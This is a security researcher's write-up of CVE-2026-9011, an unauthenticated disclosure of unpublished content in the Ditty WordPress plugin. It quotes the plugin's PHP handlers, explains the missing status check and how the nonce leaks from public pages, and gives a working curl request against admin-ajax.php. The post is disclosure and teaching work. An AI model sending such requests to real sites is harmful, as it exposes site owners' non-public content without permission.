Limited Time Launch Offer: Save 90% on kMAPTA Exam Voucher Coupon: kMAPTA-90-OFF

CVE-2026-9011: Unauthenticated Disclosure of Non-Public Content in the Ditty WordPress Plugin

Ditty, formerly known as Ditty News Ticker, is a multi-functional content display plugin for WordPress sites. The plugin is developed by Metaphor Creations. Currently, the plugin has more than 2 million downloads and 30k+ active installations on WordPress sites. So, it’s a fairly popular plugin in the WordPress ecosystem, which makes it an interesting target from a security research perspective.

The Vulnerability

The plugin is mostly built around showing content on the frontend, so I started by looking at the parts of the plugin that are exposed to regular visitors. Instead of going straight after things like RCE or SQL injection, I spent more time checking the AJAX actions and how the plugin decided what content should or should not be public.

I also did not focus much on things like stored XSS where the input is mainly controlled by higher-privileged users, since that usually makes the issue less interesting from an unauthenticated attack perspective. The plugin also had several Stored XSS vulnerabilities in the past, which were discovered by other researchers. I wanted to explore something different this time, so that was another reason I decided to exclude XSS.

While reviewing the frontend AJAX flow, the ditty_init action stood out. The related logic is handled in: includes/class-ditty-singles.php Two functions in this file are important here: init_ajax() and init().

public function init_ajax() {
		check_ajax_referer( 'ditty', 'security' );
		$id_ajax 												= isset( $_POST['id'] ) 							? intval( $_POST['id'] ) 									: false;
		$uniqid_ajax 										= isset( $_POST['uniqid'] ) 					? esc_attr( $_POST['uniqid'] ) 						: false;
		$display_ajax 									= isset( $_POST['display'] ) 					? esc_attr( $_POST['display'] ) 					: false;
		$custom_display_settings_ajax 	= isset( $_POST['display_settings'] ) ? esc_attr( $_POST['display_settings'] ) 	: false;
		$custom_layout_settings_ajax 		= isset( $_POST['layout_settings'] ) 	? esc_attr( $_POST['layout_settings'] ) 	: false;
		$editor_ajax 										= isset( $_POST['editor'] )						? intval( $_POST['editor'] ) 							: false;

		// Get the display attributes
		if ( ! $display_ajax ) {
			$display_ajax = get_post_meta( $id_ajax, '_ditty_display', true );
		}

		if ( is_array( $display_ajax ) ) {
			$display_settings = isset( $display_ajax['settings'] ) ? $display_ajax['settings'] : [];
			$display_type = isset( $display_ajax['type'] ) ? $display_ajax['type'] : false;
		} else {
			if ( 'publish' == get_post_status( $display_ajax ) ) {
				$display_settings = get_post_meta( $display_ajax, '_ditty_display_settings', true );
				$display_type = get_post_meta( $display_ajax, '_ditty_display_type', true );
			}
		}
		
		// Make sure the display settings is an array
		if ( ! isset( $display_settings ) || ! is_array( $display_settings ) ) {
			$display_settings = [];
		}
    $ditty_settings = get_post_meta( $id_ajax, '_ditty_settings', true );
    $display_settings['orderby'] = isset( $ditty_settings['orderby'] ) ? $ditty_settings['orderby'] : 'list';
    $display_settings['order'] = isset( $ditty_settings['order'] ) ? $ditty_settings['order'] : 'desc';

		if ( ! isset( $display_type ) || ! ditty_display_type_exists( $display_type ) ) {
			$display_type = 'default';
		}

		// Setup the ditty values
		$status = get_post_status( $id_ajax );
		$args 									= $display_settings;
		$args['id'] 						= $id_ajax;
		$args['uniqid'] 				= $uniqid_ajax;
		$args['title'] 					= get_the_title( $id_ajax );
		$args['status'] 				= $status;
		$args['display'] 				= is_array( $display_ajax ) ? $id_ajax : $display_ajax;
		$args['showEditor'] 		= $editor_ajax;
		
// The Ditty status is retrieved above, but there is no check
// to stop processing when the Ditty is not published.
		$items = $this->get_display_items( $id_ajax, 'cache', $custom_layout_settings_ajax );
		if ( ! is_array( $items ) ) {
			$items = array();
		}
		$args['items'] = $items;
		$args = $this->parse_custom_display_settings( $args, $custom_display_settings_ajax );

		do_action( 'ditty_init', $id_ajax );
		
		$data = array(
			'display_type' 	=> $display_type,
			'args' 					=> $args,
		);
		wp_send_json( $data );
	}
	
	public function init( $atts ) {
		if ( ! $atts['data-id'] ) {
			return false;
		}

		$ditty_id 								= $atts['data-id'];
		$uniqid 									= isset( $atts['data-uniqid'] ) 					? $atts['data-uniqid'] 						: false;
		$display_id 							= isset( $atts['data-display'] ) 					? $atts['data-display'] 					: false;
		$custom_display_settings 	= isset( $atts['data-display_settings'] )	? $atts['data-display_settings']	: false;
		$custom_layout_settings 	= isset( $atts['data-layout_settings'] ) 	? $atts['data-layout_settings'] 	: false;

		// Properly enforces the Ditty status before loading any content.
	// Non-published Dittys are rejected here.
		if ( 'publish' != get_post_status( $ditty_id ) ) {
			return false;
		}
	
		// Get the display attributes
		if ( ! $display_id ) {
			$display_id = get_post_meta( $ditty_id, '_ditty_display', true );
		}
		
		if ( is_array( $display_id ) ) {
			$display_settings = isset( $display_id['settings'] ) ? $display_id['settings'] : [];
			$display_type = isset( $display_id['type'] ) ? $display_id['type'] : false;
		} else {
			if ( 'publish' == get_post_status( $display_id ) ) {
				$display_settings = get_post_meta( $display_id, '_ditty_display_settings', true );
				$display_type = get_post_meta( $display_id, '_ditty_display_type', true );
			}
		}
		
		// Make sure the display settings is an array
		if ( ! is_array( $display_settings ) ) {
			$display_settings = [];
		}
    $ditty_settings = get_post_meta( $ditty_id, '_ditty_settings', true );
    $display_settings['orderby'] = isset( $ditty_settings['orderby'] ) ? $ditty_settings['orderby'] : 'list';
    $display_settings['order'] = isset( $ditty_settings['order'] ) ? $ditty_settings['order'] : 'desc';

		if ( ! $display_type || ! ditty_display_type_exists( $display_type ) ) {
			$display_type = 'default';
		}
	
		// Setup the ditty values
		$status = get_post_status( $ditty_id );
		$args = $display_settings;	
		$args['id'] 				= $ditty_id;
		$args['uniqid'] 		= $uniqid;
		$args['title'] 			= get_the_title( $ditty_id );
		$args['status'] 		= $status;
		$args['display'] 		= is_array( $display_id ) ? $ditty_id : $display_id;

		$items = $this->get_display_items( $ditty_id, 'cache', $custom_layout_settings );
		if ( ! is_array( $items ) ) {
			$items = array();
		}
		$args['items'] = $items;

    if ( $custom_display_settings ) {
      $custom_display_array = json_decode( html_entity_decode( $custom_display_settings ), true );
      if ( json_last_error() == JSON_ERROR_NONE ) {
        if ( isset( $custom_display_array['type'] ) && ditty_display_type_exists( $custom_display_array['type'] ) ) {
          $display_type = $custom_display_array['type'];
        }
        if ( isset( $custom_display_array['settings'] ) ) {
          $args = wp_parse_args( $custom_display_array['settings'], $args );
        }
      } else {
        $args = $this->parse_custom_display_settings( $args, $custom_display_settings );
      }
    }

		do_action( 'ditty_init', $ditty_id );
		
		?>
		$( 'div[data-uniqid="<?php echo esc_attr( $uniqid ); ?>"]' ).ditty_<?php echo esc_attr( $display_type ); ?>(<?php echo json_encode( $args ); ?>);
		<?php
	}

At first glance, both functions do almost the same job: they take a Ditty ID, load its settings and items, and prepare the content for display. The important difference is how they handle the Ditty status.

The normal init() function contains this check:

if ( 'publish' != get_post_status( $ditty_id ) ) {
    return false;
}

So if a Ditty is in draft, pending, disabled, or any other non-published state, the function simply stops and does not return its content.

The AJAX version, init_ajax(), does not have the same check. It does retrieve the status:

$status = get_post_status( $id_ajax );

but that value is only added to the response data. It is never used to decide whether the requester should be allowed to access the Ditty.

The function continues to:

$items = $this->get_display_items( $id_ajax, 'cache', $custom_layout_settings_ajax );

This means the normal frontend rendering path respects the Ditty's publication status, while the AJAX path does not. If an unauthenticated user knows or guesses the ID of a non-public Ditty, the endpoint can still return its content.

The only additional value required by the ditty_init request is the security nonce. However, this nonce is also exposed to unauthenticated visitors whenever a Ditty shortcode is rendered on a public page.

By viewing the page source, you can find it inside the dittyVars JavaScript object, for example:

const dittyVars = {
    "ajaxurl": "https://wordpress.example/wp-admin/admin-ajax.php",
    "security": "486018b98e",
    "mode": "production",
    ...
};

In this example, the required security value is:

486018b98e

Since this value is available to unauthenticated visitors on the frontend, it can be reused in a direct request to the ditty_init AJAX action.

For example, to request the content of an unpublished or disabled Ditty with the ID 142:

curl -i -X POST 'https://wordpress.example/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'action=ditty_init&security=486018b98e&id=142'

Here, action=ditty_init calls the AJAX handler, security=486018b98e is the value taken from the public dittyVars object, and id=142 is the ID of the unpublished or disabled Ditty.

If the Ditty exists, the response can contain its status, display settings, and item content even though it is not meant to be publicly accessible.

Disclosure Timeline

  • Mar 13, 2026 : I reported the vulnerability through Wordfence Intelligence
  • May 19, 2026 : The report was validated and CVE-2026-9011 was assigned.
  • May 21, 2026 : The CVE was disclosed publicly.

References

Written By
Photo of Md. Moniruzzaman Prodhan

Md. Moniruzzaman Prodhan

Director, Security Research & Programs

A cybersecurity professional working across training, security assessments, and research. Founder of the Knight Squad community and Director, Security Research & Programs at Knight Squad Academy. Has delivered cybersecurity training for multiple government agencies in Bangladesh, with hands-on experience in VAPT/penetration testing, malware analysis, reverse engineering, and AI security testing. Actively involved in responsible vulnerability research, including 0-day hunting, and contributes to the community as an event director and CTF challenge creator for KnightCTF and BDSec CTF.